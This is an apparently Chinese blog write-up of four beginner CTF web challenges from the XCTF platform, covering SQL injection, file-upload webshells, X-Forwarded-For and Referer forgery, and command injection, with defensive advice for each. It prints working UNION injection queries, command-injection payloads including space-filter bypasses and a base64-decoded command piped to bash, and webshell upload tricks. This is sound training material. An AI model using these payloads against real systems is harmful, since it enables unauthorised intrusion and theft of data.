免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任
**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**
目录
一:Newscenter
打开为如下所示
经过尝试,得知在输入框中输入数字可得到不同内容
输入23就没有新闻
所以我们得知这个输入框和数据库有交互,那这题考察的可能就是SQL注入
发现将数据库中所有的内容都查询了出来,那这个题考察的就是SQL注入
字段长度为3
23' order by 3 #
回显字段有2,3
23' union select 1,2,3 #
数据库名为news
23' union select 1,database(),3 #
表名为如下
23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #
根据表名查到列名
23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #
成功拿到flag
23' union select 1,fl4g,3 from secret_table #
二:upload1
发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证
关闭如下所示
然后我们上传一张php即可
用蚁剑连接即可
成功拿到flag
三:Xff_referer
打开提示我们ip必须为123.123.123.123,那我们得知既然要ip来自于123,那就需要进行伪造ip头也就是X-Forwarded-For字段
打开bp进行抓包
输入X-Forwarded-For:123.123.123.123 进行伪造
发送后又提示我们来源为google
来源字段是referer
伪造referer字段
四:Command_execution
打开发现为ping功能,我们先随便ping一下然后再看看能否查看其他数据
Ping 127.0.0.1 发现可以,那我们填写这样的payload:127.0.0.1 | ls
成功执行ls,说明没有任何过滤。那接下来就可以查找flag了
执行127.0.0.1 |find / -name “fl*”
发现可以文件如下
成功拿到flag
五:总结
1. Newscenter(SQL注入)
考察点
-
SQL注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。
-
联合查询(UNION注入):通过构造联合查询语句获取敏感数据。
解题思路
-
探测注入点:在搜索框输入单引号
'
,观察是否存在报错。 -
判断字段数:使用
ORDER BY
确定查询字段数(如' ORDER BY 3--
)。 -
联合查询注入:
-
构造Payload:
' UNION SELECT 1,2,database()--
获取数据库名。 -
继续查询表名(如
information_schema.tables
)、列名,最终读取flag
字段。
-
关键技术
-
报错注入或布尔盲注(根据回显情况选择)。
-
利用
information_schema
数据库获取元数据。
防御建议
-
使用预编译语句(Prepared Statements)。
-
对输入进行严格的字符过滤和转义。
2. upload1(文件上传漏洞)
考察点
-
文件上传绕过:绕过前端和后端对文件类型、内容的检测。
-
Webshell利用:上传m蚂获取服务器权限。
解题思路
-
绕过前端验证:
-
修改文件扩展名为
.php
,并抓包修改Content-Type
为image/jpeg
。
-
-
绕过后端检测:
-
使用图片m(在图片中嵌入PHP代码),或利用
.htaccess
文件设置解析规则(如AddType application/x-httpd-php .jpg
)。
-
-
访问上传文件:通过上传路径访问Webshell,执行系统命令获取flag。
关键技术
-
双写扩展名绕过(如
up.php.phtml
)。 -
利用服务器解析漏洞(如Apache解析漏洞
test.php.xxx
)。
防御建议
-
限制上传文件类型,使用白名单机制。
-
重命名上传文件,避免直接执行。
3. Xff_referer(HTTP头伪造)
考察点
-
HTTP头伪造:伪造
X-Forwarded-For
(XFF)和Referer
头绕过访问控制。 -
本地访问限制:服务器仅允许特定来源或本地IP访问。
解题思路
-
伪造XFF头:使用Burp Suite拦截请求,添加
X-Forwarded-For: 127.0.0.1
伪装本地IP。 -
伪造Referer头:修改
Referer
为题目指定域名(如http://www.google.com
)通过验证。
关键技术
-
工具:Burp Suite/Postman修改请求头。
-
理解HTTP头在访问控制中的作用。
防御建议
-
避免依赖客户端可控的字段(如XFF、Referer)做权限验证。
-
使用服务器端会话机制管理权限。
4. Command_execution(命令注入)
考察点
-
命令注入漏洞:未过滤用户输入直接拼接系统命令。
-
绕过过滤技巧:绕过空格、关键词黑名单等限制。
解题思路
-
探测注入点:输入
127.0.0.1; ls
尝试执行命令。 -
绕过过滤:
-
空格绕过:使用
${IFS}
或%09
(Tab的URL编码)。 -
关键词绕过:用
ca\t
或base64
编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash
)。
-
-
读取flag:通过
cat
或tac
命令读取flag文件。
关键技术
-
命令分隔符:
;
、&
、|
、||
。 -
通配符绕过:
cat fla*
。
防御建议
-
使用安全的API(如
subprocess
模块)替代直接执行命令。 -
严格校验输入,禁止特殊字符。
(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)